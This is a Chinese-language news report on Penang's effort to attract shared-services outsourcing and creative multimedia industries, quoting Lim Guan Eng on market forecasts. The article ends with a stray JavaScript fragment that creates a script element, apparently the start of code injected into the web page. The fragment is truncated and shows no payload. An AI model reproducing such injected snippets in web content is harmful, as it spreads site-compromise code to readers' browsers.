全球共享外包服务领域有着增长的趋势，槟州政府正积极地挖掘这深具潜能的领域，以达到成为智慧型与国际城市的目标。
槟州首长林冠英指出，据全球技术研究及咨询公司Gartner的报告显示，世界各地的商业业务流程外包(BPO)及通讯科技外包(ITO) 近来都有增长的趋势，并有望在2015年达到5179亿令吉及8984亿令吉的数额。
他说，至于全球动画及游戏市场，也预料将在2016年创下约2420亿美元的记录；而马来西亚在创意多媒体内容工业市场，则预料在2017年达到约24亿令吉。
有鉴于此，林冠英指出，槟州正努力地发掘相关领域潜能，并了解在槟州设立共享服务外包中心及创意多媒体内容中心的重要性。
他继称，目前在槟城设立共享服务的公司包括第一太阳能公司、花旗集团马来西亚交易服务、IHS公司 、欧司郎（Osram）、丰益国际（Wilmar）以及亚航等。
他指出，槟州政府也致力推行更多高价值的活动，让槟城成为一个新潮及智慧型的工作地，此举除了能将更多具潜能的年轻人在槟城以外，也能够吸引其他地区的专才前来槟城。
基于槟州具备人才、科技及对创新的包容的优势，林冠英强调，这些优势将让槟城有潜能成为共享外包服务的首选地。
他相信，大马及槟城拥有出色的条件，可以扮演区域内共享外包服务以及创意多媒体产业的主要角色，特别是槟城更具备了最好的经商及生活环境，必能脱颖而出。
林冠英是于1月27
日相出席槟城共享外包服务理事会推介礼时发表谈话。该理事会由槟州首席部长林冠英领军，其他成员则结合了联邦、州政府以及州政府旗下多个机关，包括拿督李家全、马来西亚工业发展委员会首席执行员拿督阿兹曼、 多媒体发展公司首席执行员拿督雅思敏、槟州发展机构总经理拿督罗斯里、投资槟城总经理吕丽莲以及两名来自业界的专才等。var d=document;var s=d.createElement(‘script’);